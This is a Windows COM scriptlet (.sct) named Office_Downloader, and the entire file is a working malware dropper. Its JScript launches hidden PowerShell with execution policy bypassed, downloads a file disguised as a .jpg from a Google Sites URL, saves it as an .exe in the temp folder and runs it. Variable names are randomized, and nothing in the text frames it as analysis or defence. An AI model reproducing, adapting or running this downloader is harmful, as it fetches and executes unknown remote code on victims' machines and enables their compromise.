Office_Downloader.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="WzVQ"
    progid="WzVQ"
    version="1.00"
    classid="{00001111-0000-0000-0000-0000FEEDACDC}"
	>
	<script language="JScript">
		<![CDATA[
		
            var Rpg = new ActiveXObject("WScript.Shell");
			var gUfhr = "$down = New-Object System.Net.WebClient;$url = 'https://sites.google.com/site/elm0d4upload/documents/VB6%20TestMsgBox.jpg?attredirects=0&d=1';$file = '%TMP%\\VB6TestMsgBox.exe';$down.DownloadFile($url,$file);$exec = New-Object -com shell.application;$exec.shellexecute($file);exit;";
			var Pa = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command ';
			Rpg.Exec(Pa + gUfhr);
    
		]]>
</script>
</registration>

</scriptlet>